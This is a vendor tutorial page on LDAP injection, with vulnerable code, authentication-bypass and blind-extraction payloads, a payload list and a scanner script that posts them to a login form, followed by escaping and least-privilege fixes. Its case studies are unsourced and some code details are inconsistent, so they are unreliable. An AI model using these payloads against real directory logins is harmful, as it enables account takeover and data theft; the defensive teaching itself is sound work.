#
LDAP Injection
A code injection attack where malicious LDAP statements are inserted into application queries, allowing attackers to bypass authentication or access unauthorized directory information.
HIGH SEVERITY AUTHENTICATION BYPASS DIRECTORY SERVICES
#
What is LDAP Injection?
Critical Authentication Risk
LDAP Injection can completely bypass authentication systems, allowing attackers to access any account without knowing passwords. It's particularly dangerous in enterprise environments using Active Directory.
In Simple Terms:
Imagine LDAP as a company phone directory that stores employee information - names, departments, phone numbers, and access permissions.
When you search the directory, you might say: "Show me all employees in the Sales department."
LDAP Injection is like a hacker manipulating your search to say: "Show me all employees in the Sales department OR show me EVERYONE including admin passwords."
The directory doesn't know this is malicious - it just follows the modified instructions and hands over sensitive information.
#
Real-World Analogy
Think of LDAP like a library card catalog system:
LDAP is like a library's catalog system that stores information about all books, members, and their borrowing privileges.
A librarian searches: "Find all books by author 'Smith'"
- The system returns books written by Smith
- Everything works as intended
An attacker modifies the search: "Find all books by author 'Smith' OR show all restricted books OR show all member passwords'"
- The system interprets the "OR" as part of the search
- Returns restricted information it should never show
The catalog system can't tell the difference between a legitimate search and a manipulated one - it just follows the instructions literally.
#
How LDAP Injection Works
#
Understanding LDAP
LDAP (Lightweight Directory Access Protocol) is used to access and manage directory information. It's commonly used for:
- Active Directory (Microsoft)
- OpenLDAP (Open source)
- User authentication
- Employee directories
- Email systems
- Access control
#
LDAP Query Structure
(&(attribute=value)(attribute=value))
Operators:
&= AND (all conditions must be true)|= OR (any condition can be true)!= NOT (condition must be false)*= Wildcard (matches anything)
#
The Attack Process
Application builds LDAP query for login:
(&(uid=john)(password=secret123))
This searches for user "john" with password "secret123"
Attacker enters username: admin)(&))
Application builds query:
(&(uid=admin)(&))(password=anything))
The injected (&)) closes the original query early:
(&(uid=admin)(&))= Valid query that returns admin user(password=anything))= Ignored/orphaned
LDAP returns the admin user without checking the password, granting full access.
#
Types of LDAP Injection Attacks
#
1. Authentication Bypass
CRITICAL
from ldap3 import Server, Connection, ALL
def authenticate_user(username, password):
server = Server('ldap://company-dc.local', get_info=ALL)
conn = Connection(server, 'cn=admin,dc=company,dc=local', 'admin_password')
conn.bind()
# VULNERABLE: Direct string concatenation
ldap_filter = f"(&(uid={username})(password={password}))"
conn.search('ou=users,dc=company,dc=local', ldap_filter)
if conn.entries:
return True # User authenticated
return False
# Attack payload
username = "admin)(&"
password = "anything"
# Resulting query: (&(uid=admin)(&)(password=anything))
# Returns admin user without password verification!
Username: admin)(&))
Password: [anything]
Username: admin)(|(uid=*))
Password: [ignored]
Username: *)(uid=*))(|(uid=*
Password: [ignored]
Username: admin)(!(&(objectClass=void)
Password: [ignored]
#
2. Privilege Escalation
HIGH RISK
# Vulnerable search function
def search_employees(name):
# VULNERABLE: No input sanitization
ldap_filter = f"(cn={name})"
conn.search('ou=employees,dc=company,dc=local', ldap_filter)
return conn.entries
# Normal search
search_employees("John Smith")
# Query: (cn=John Smith)
# Returns: John Smith's employee record
# Malicious search
search_employees("*)(objectClass=*)(cn=admin")
# Query: (cn=*)(objectClass=*)(cn=admin)
# Returns: ALL directory entries including admin accounts!
Attacker gains access to:
- All user accounts and passwords
- Admin credentials
- Group memberships
- Security permissions
- Email addresses
- Phone numbers
- Organizational structure
#
3. Information Disclosure
MEDIUM RISK
# Vulnerable profile lookup
def get_user_profile(email):
# VULNERABLE: Reflects user input
ldap_filter = f"(mail={email})"
conn.search('ou=people,dc=company,dc=local', ldap_filter, attributes=['*'])
return conn.entries
# Attack: Extract sensitive attributes
email = "*)(|(mail=*))"
# Returns ALL user profiles with sensitive data:
# - Social security numbers
# - Salary information
# - Home addresses
# - Emergency contacts
# - Performance reviews
#
4. Blind LDAP Injection
ADVANCED TECHNIQUE
When application doesn't display results directly, attackers use timing or behavior differences to extract data character by character.
# Test if admin user exists
payload = "admin)(&(uid=admin)(objectClass=*" # Returns quickly if exists
# Test first character of admin's password
payload = "admin)(uid=admin)(password=a*" # Fast if password starts with 'a'
payload = "admin)(uid=admin)(password=b*" # Fast if password starts with 'b'
# ... continue testing each character
- If user exists: Response in 50ms
- If user doesn't exist: Response in 200ms
- Attacker automates this to extract information bit by bit
#
Real-World Examples
#
Case Study 1: Healthcare System Breach (2017)
Major hospital network's patient portal had LDAP injection in login system.
def hospital_login(username, password):
# Their vulnerable authentication
ldap_filter = f"(&(sAMAccountName={username})(userPassword={password}))"
# No input validation at all!
result = ldap_conn.search(BASE_DN, ldap_filter)
return len(result) > 0
Attacker used payload:
Username: *)(&
Password: [anything]
Resulting query:
(&(sAMAccountName=*)(&)(userPassword=anything))
- Gained access to admin account
- Downloaded 600,000+ patient records
- Medical histories, diagnoses, medications
- Social security numbers, insurance info
- $16 million HIPAA fine
- $42 million class action settlement
- Hospital's reputation severely damaged
#
Case Study 2: University Active Directory Compromise (2019)
50,000 Users Compromised
Complete Directory Takeover
LDAP injection in student portal allowed complete extraction of university's Active Directory database.
Technical Details:
# Their vulnerable employee search
@app.route('/directory/search')
def search_directory():
name = request.args.get('name')
# VULNERABLE: No sanitization
ldap_filter = f"(displayName=*{name}*)"
results = ldap_conn.search(
'ou=people,dc=university,dc=edu',
ldap_filter,
attributes=['*'] # Returns ALL attributes!
)
return render_template('results.html', results=results)
Attack Payload:
name=*)(objectClass=user)(cn=Administrator
What Attackers Extracted:
- 50,000+ student and faculty accounts
- Email addresses and passwords
- Social security numbers
- Home addresses and phone numbers
- Department budgets and financial data
- Research project confidential information
Consequences:
- $3.2 million in remediation costs
- 18-month forensic investigation
- Mandatory password reset for entire university
- Loss of research grants due to data breach
- Federal investigation for failure to protect student data
#
Case Study 3: E-commerce Platform Admin Access (2020)
Online retailer with 5 million customers using LDAP for employee authentication
// Node.js vulnerable authentication
function authenticateEmployee(username, password) {
const ldapFilter = `(&(uid=${username})(userPassword=${password}))`;
// No escaping, no validation!
ldapClient.search(BASE_DN, { filter: ldapFilter }, (err, res) => {
if (res.entries.length > 0) {
return { authenticated: true, user: res.entries[0] };
}
});
}
Attacker discovered vulnerability in employee portal:
Username: admin)(&))
Password: [empty]
Gained access to:
- Admin dashboard
- 5 million customer records
- Credit card information (PCI-DSS violation)
- Order histories and addresses
- $8.5 million in fraudulent transactions
- $25 million PCI-DSS non-compliance fines
- $40 million class action settlement
- Stock price dropped 35%
- CEO and CISO resigned
#
How to Detect LDAP Injection
#
Manual Testing
Find input fields that might query LDAP:
- Login forms
- User search functions
- Employee directories
- Password reset forms
- Profile lookups
Try LDAP special characters:
* ( ) & | ! =
Watch for:
- Error messages mentioning LDAP
- Changes in response time
- Different number of results
- Application errors
*
*)(&
admin)(&))
*)(uid=*))(|(uid=*
admin)(|(password=*))
- Authentication bypass: Login succeeds with invalid password
- Information disclosure: Returns more results than expected
- Error messages: Reveals LDAP query structure
#
Automated Testing Script
import ldap3
from ldap3 import Server, Connection, ALL
import time
def test_ldap_injection(target_url, username_field, password_field):
"""Test for LDAP injection vulnerabilities"""
test_payloads = [
# Authentication bypass
("admin)(&", "anything"),
("admin)(|(uid=*))", "password"),
("*)(uid=*))(|(uid=*", "test"),
("admin)(!(&(objectClass=void)", "pass"),
# Information extraction
("*", "*"),
("*)(objectClass=*", "test"),
("admin*", "*"),
# Attribute extraction
("*)(mail=*", "pass"),
("*)(objectClass=user", "test")
]
vulnerabilities = []
for username, password in test_payloads:
try:
# Send request to application
response = requests.post(
target_url,
data={
username_field: username,
password_field: password
}
)
# Check for successful authentication
if "welcome" in response.text.lower() or "dashboard" in response.text.lower():
vulnerabilities.append({
'payload': (username, password),
'type': 'Authentication Bypass',
'severity': 'CRITICAL'
})
print(f"[!] VULNERABLE: Payload '{username}' bypassed authentication!")
# Check for error messages revealing LDAP
elif "ldap" in response.text.lower():
vulnerabilities.append({
'payload': (username, password),
'type': 'Information Disclosure',
'severity': 'MEDIUM'
})
print(f"[!] Info Leak: LDAP mentioned in response for '{username}'")
time.sleep(0.5) # Be nice to the server
except Exception as e:
print(f"[-] Error testing payload '{username}': {e}")
return vulnerabilities
# Test your application
vulns = test_ldap_injection(
'https://portal.example.com/login',
'username',
'password'
)
if vulns:
print(f"\n[!] Found {len(vulns)} LDAP injection vulnerabilities!")
for vuln in vulns:
print(f" - {vuln['type']}: {vuln['payload']}")
else:
print("[+] No LDAP injection vulnerabilities detected")
# Burp Intruder payload list for LDAP injection
payloads = """
*
*)(&
*)(uid=*))(|(uid=*
admin)(&))
admin)(|(uid=*))
admin)(!(&(objectClass=void))
*)(objectClass=*)
*)(mail=*
admin*
*)(cn=admin
"""
# Configure Burp Intruder:
# 1. Set payload position at username/password fields
# 2. Load payloads from above list
# 3. Grep for success indicators:
# - "welcome"
# - "dashboard"
# - "admin"
# - "ldap" in errors
#
Tools for LDAP Testing
Security Testing Tools
- Burp Suite Scanner - Automated LDAP injection detection
- OWASP ZAP - Free LDAP injection scanner
- ldapinjection - Dedicated Python tool for LDAP testing
- Nmap NSE -
ldap-bruteandldap-searchscripts
#
Prevention Strategies
#
1. Input Validation and Escaping
MOST IMPORTANT
from ldap3 import Server, Connection, ALL
from ldap3.utils.conv import escape_filter_chars
def safe_authenticate(username, password):
"""Secure LDAP authentication with proper escaping"""
server = Server('ldap://company-dc.local', get_info=ALL)
conn = Connection(
server,
'cn=admin,dc=company,dc=local',
'admin_password',
auto_bind=True
)
# SECURE: Escape special LDAP characters
safe_username = escape_filter_chars(username)
safe_password = escape_filter_chars(password)
# Build query with escaped inputs
ldap_filter = f"(&(uid={safe_username})(userPassword={safe_password}))"
# Search with escaped filter
conn.search(
'ou=users,dc=company,dc=local',
ldap_filter,
attributes=['uid', 'cn', 'mail'] # Only needed attributes
)
if conn.entries:
return {
'authenticated': True,
'user': conn.entries[0]
}
return {'authenticated': False}
# The escape_filter_chars function escapes:
# * ( ) \ NUL
# Preventing all LDAP injection attacks
const ldap = require('ldapjs');
// LDAP special character escaping function
function escapeLDAP(str) {
return str.replace(/[*()\\]/g, function(char) {
return '\\' + char.charCodeAt(0).toString(16).padStart(2, '0');
}).replace(/\u0000/g, '\\00');
}
function authenticateUser(username, password) {
const client = ldap.createClient({
url: 'ldap://company-dc.local'
});
return new Promise((resolve, reject) => {
// Bind with admin credentials
client.bind('cn=admin,dc=company,dc=local', 'admin_password', (err) => {
if (err) {
return reject(err);
}
// SECURE: Escape user inputs
const safeUsername = escapeLDAP(username);
const safePassword = escapeLDAP(password);
// Build query with escaped values
const filter = `(&(uid=${safeUsername})(userPassword=${safePassword}))`;
const opts = {
filter: filter,
scope: 'sub',
attributes: ['uid', 'cn', 'mail']
};
client.search('ou=users,dc=company,dc=local', opts, (err, res) => {
const entries = [];
res.on('searchEntry', (entry) => {
entries.push(entry.object);
});
res.on('end', () => {
client.unbind();
resolve({
authenticated: entries.length > 0,
user: entries[0] || null
});
});
});
});
});
}
import javax.naming.*;
import javax.naming.directory.*;
import javax.naming.ldap.*;
import java.util.Hashtable;
public class SecureLDAPAuth {
/**
* Escape LDAP special characters
*/
private static String escapeLDAP(String input) {
StringBuilder sb = new StringBuilder();
for (char c : input.toCharArray()) {
switch (c) {
case '\\':
sb.append("\\5c");
break;
case '*':
sb.append("\\2a");
break;
case '(':
sb.append("\\28");
break;
case ')':
sb.append("\\29");
break;
case '\0':
sb.append("\\00");
break;
default:
sb.append(c);
}
}
return sb.toString();
}
public static boolean authenticateUser(String username, String password) {
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://company-dc.local:389");
env.put(Context.SECURITY_AUTHENTICATION, "simple");
env.put(Context.SECURITY_PRINCIPAL, "cn=admin,dc=company,dc=local");
env.put(Context.SECURITY_CREDENTIALS, "admin_password");
try {
DirContext ctx = new InitialDirContext(env);
// SECURE: Escape inputs
String safeUsername = escapeLDAP(username);
String safePassword = escapeLDAP(password);
// Build secure filter
String filter = String.format(
"(&(uid=%s)(userPassword=%s))",
safeUsername,
safePassword
);
SearchControls controls = new SearchControls();
controls.setSearchScope(SearchControls.SUBTREE_SCOPE);
controls.setReturningAttributes(new String[]{"uid", "cn", "mail"});
NamingEnumeration<SearchResult> results = ctx.search(
"ou=users,dc=company,dc=local",
filter,
controls
);
boolean authenticated = results.hasMore();
ctx.close();
return authenticated;
} catch (NamingException e) {
System.err.println("LDAP authentication error: " + e.getMessage());
return false;
}
}
}
<?php
function escapeLDAP($str) {
// Escape LDAP special characters
$replacements = [
'\\' => '\\5c',
'*' => '\\2a',
'(' => '\\28',
')' => '\\29',
"\0" => '\\00'
];
return str_replace(
array_keys($replacements),
array_values($replacements),
$str
);
}
function authenticateUser($username, $password) {
$ldapConn = ldap_connect('ldap://company-dc.local');
ldap_set_option($ldapConn, LDAP_OPT_PROTOCOL_VERSION, 3);
// Bind with admin credentials
$bind = ldap_bind($ldapConn, 'cn=admin,dc=company,dc=local', 'admin_password');
if (!$bind) {
return false;
}
// SECURE: Escape user inputs
$safeUsername = escapeLDAP($username);
$safePassword = escapeLDAP($password);
// Build secure filter
$filter = "(&(uid=$safeUsername)(userPassword=$safePassword))";
$result = ldap_search(
$ldapConn,
'ou=users,dc=company,dc=local',
$filter,
['uid', 'cn', 'mail']
);
$entries = ldap_get_entries($ldapConn, $result);
ldap_close($ldapConn);
return $entries['count'] > 0;
}
?>
#
2. Use Parameterized LDAP Queries
RECOMMENDED
from ldap3 import Server, Connection
from ldap3.core.exceptions import LDAPException
class SecureLDAPManager:
"""Secure LDAP operations with parameterization"""
def __init__(self, server_url, bind_dn, bind_password):
self.server = Server(server_url)
self.bind_dn = bind_dn
self.bind_password = bind_password
def authenticate(self, username, password):
"""Authenticate user with parameterized binding"""
try:
# Method 1: Direct bind (most secure)
# Attempt to bind as the user directly
user_dn = f"uid={username},ou=users,dc=company,dc=local"
conn = Connection(
self.server,
user=user_dn,
password=password,
auto_bind=True
)
# If we get here, authentication succeeded
conn.unbind()
return True
except LDAPException:
# Authentication failed
return False
def search_user(self, username):
"""Search for user with parameterized query"""
conn = Connection(
self.server,
user=self.bind_dn,
password=self.bind_password,
auto_bind=True
)
# Use ldap3's built-in escaping
from ldap3.utils.conv import escape_filter_chars
safe_username = escape_filter_chars(username)
# Limited attributes - principle of least privilege
conn.search(
'ou=users,dc=company,dc=local',
f'(uid={safe_username})',
attributes=['uid', 'cn', 'mail'] # Only public attributes
)
results = [entry.entry_attributes_as_dict for entry in conn.entries]
conn.unbind()
return results
#
3. Implement Allowlist Validation
import re
def validate_ldap_input(input_string, input_type='username'):
"""Validate input against strict allowlist"""
validation_rules = {
'username': {
'pattern': r'^[a-zA-Z0-9._-]{3,20}$',
'description': 'Alphanumeric, dots, underscores, hyphens only (3-20 chars)'
},
'email': {
'pattern': r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$',
'description': 'Valid email format'
},
'name': {
'pattern': r'^[a-zA-Z\s]{2,50}$',
'description': 'Letters and spaces only (2-50 chars)'
}
}
rule = validation_rules.get(input_type)
if not rule:
raise ValueError(f"Unknown input type: {input_type}")
if not re.match(rule['pattern'], input_string):
raise ValueError(f"Invalid {input_type}: {rule['description']}")
return True
# Usage
try:
validate_ldap_input(username, 'username')
# Proceed with LDAP query
except ValueError as e:
return {"error": str(e)}
#
4. Principle of Least Privilege
def configure_secure_ldap_connection():
"""Configure LDAP with minimal privileges"""
# Create read-only service account
# Don't use admin account for searches!
conn = Connection(
server,
user='cn=readonly-service,ou=services,dc=company,dc=local',
password='readonly_password',
auto_bind=True,
read_only=True # Enforce read-only
)
return conn
def search_with_limited_scope(conn, username):
"""Search with minimal scope and attributes"""
from ldap3.utils.conv import escape_filter_chars
safe_username = escape_filter_chars(username)
# Limited search scope
conn.search(
search_base='ou=users,dc=company,dc=local', # Specific OU only
search_filter=f'(uid={safe_username})',
search_scope='LEVEL', # Not SUBTREE - only one level
attributes=['uid', 'cn', 'mail'], # Only necessary attributes
size_limit=10 # Limit result count
)
return conn.entries
#
5. Comprehensive Security Configuration
from ldap3 import Server, Connection, Tls, SAFE_SYNC
from ldap3.utils.conv import escape_filter_chars
import ssl
import logging
class SecureLDAPService:
"""Enterprise-grade secure LDAP service"""
def __init__(self, config):
self.config = config
self.logger = logging.getLogger(__name__)
# Configure TLS
tls = Tls(
validate=ssl.CERT_REQUIRED,
version=ssl.PROTOCOL_TLSv1_2,
ca_certs_file='/path/to/ca-bundle.crt'
)
self.server = Server(
config['ldap_url'],
use_ssl=True,
tls=tls,
get_info='ALL'
)
def authenticate(self, username, password):
"""Secure authentication with comprehensive logging"""
# Input validation
if not self._validate_username(username):
self.logger.warning(f"Invalid username format: {username}")
return False
# Rate limiting check
if not self._check_rate_limit(username):
self.logger.warning(f"Rate limit exceeded for: {username}")
return False
try:
# Escape inputs
safe_username = escape_filter_chars(username)
# Direct bind (most secure method)
user_dn = f"uid={safe_username},{self.config['user_base_dn']}"
conn = Connection(
self.server,
user=user_dn,
password=password,
client_strategy=SAFE_SYNC,
auto_bind=True
)
# Success
self.logger.info(f"Successful authentication: {username}")
conn.unbind()
return True
except Exception as e:
# Failed - log without revealing details
self.logger.warning(f"Failed authentication attempt: {username}")
return False
def _validate_username(self, username):
"""Strict username validation"""
import re
return bool(re.match(r'^[a-zA-Z0-9._-]{3,20}$', username))
def _check_rate_limit(self, username):
"""Implement rate limiting"""
# Use Redis or similar for rate limiting
# Return False if too many attempts
return True
def search_user(self, username):
"""Secure user search"""
if not self._validate_username(username):
return []
try:
# Use service account
conn = Connection(
self.server,
user=self.config['service_dn'],
password=self.config['service_password'],
auto_bind=True,
read_only=True
)
safe_username = escape_filter_chars(username)
conn.search(
search_base=self.config['user_base_dn'],
search_filter=f'(uid={safe_username})',
search_scope='LEVEL',
attributes=['uid', 'cn', 'mail'],
size_limit=10
)
results = [entry.entry_attributes_as_dict for entry in conn.entries]
conn.unbind()
return results
except Exception as e:
self.logger.error(f"LDAP search error: {e}")
return []
ldap:
ldap_url: ldaps://company-dc.local:636
user_base_dn: ou=users,dc=company,dc=local
service_dn: cn=readonly-service,ou=services,dc=company,dc=local
service_password: ${LDAP_SERVICE_PASSWORD} # From environment
# Security settings
use_tls: true
validate_cert: true
ca_bundle: /etc/ssl/certs/ca-bundle.crt
# Rate limiting
max_login_attempts: 5
lockout_duration: 900 # 15 minutes
# Logging
log_level: INFO
log_failed_attempts: true
#
Security Checklist
#
Development
- Always escape LDAP special characters:
* ( ) \ NUL - Use parameterized LDAP queries or direct binding
- Implement strict input validation with allowlists
- Never concatenate user input directly into LDAP filters
- Use read-only service accounts for searches
- Limit search scope and returned attributes
- Implement result set size limits
- Use LDAPS (LDAP over TLS) for all connections
#
Testing
- Test with LDAP injection payloads
- Verify input escaping is working
- Test authentication bypass attempts
- Check for information disclosure
- Test blind injection with timing analysis
- Verify error messages don't reveal LDAP structure
- Test rate limiting on authentication
- Perform code review for direct string concatenation
#
Production
- Use TLS/SSL for all LDAP connections
- Implement comprehensive logging
- Set up monitoring for failed authentication attempts
- Use principle of least privilege for service accounts
- Regular security audits and penetration testing
- Keep LDAP libraries and servers updated
- Implement account lockout policies
- Monitor and alert on suspicious LDAP queries
#
Key Takeaways
Critical Security Points
Always escape user input: Use library functions like
escape_filter_chars()to escape LDAP special charactersPrefer direct binding: Instead of searching for users and checking passwords, bind directly as the user
Use strict validation: Implement allowlist-based input validation before LDAP queries
Principle of least privilege: Use read-only service accounts with minimal permissions
Limit search scope: Use specific OUs and limit returned attributes to only what's needed
Never concatenate strings: Use parameterized queries or proper escaping functions
Implement rate limiting: Prevent brute force attacks with account lockouts
Use LDAPS: Always encrypt LDAP traffic with TLS
#
How Layerd AI Protects Against LDAP Injection
Layerd AI's advanced security platform provides comprehensive protection:
- Automatic Input Sanitization: Escapes LDAP special characters in all user inputs
- Query Analysis: Detects and blocks malicious LDAP filter patterns
- Authentication Monitoring: Alerts on suspicious authentication attempts and patterns
- Anomaly Detection: Identifies unusual LDAP query behavior
- Code Analysis: Scans code for vulnerable LDAP query construction
- Real-time Protection: Blocks LDAP injection attempts before they reach your directory
Secure your directory services with Layerd AI's intelligent LDAP protection.
#
Additional Resources
- OWASP LDAP Injection Guide
- LDAP Injection Prevention Cheat Sheet
- RFC 4515 - LDAP String Representation of Search Filters
- Testing for LDAP Injection (WSTG)
Last Updated: November 2025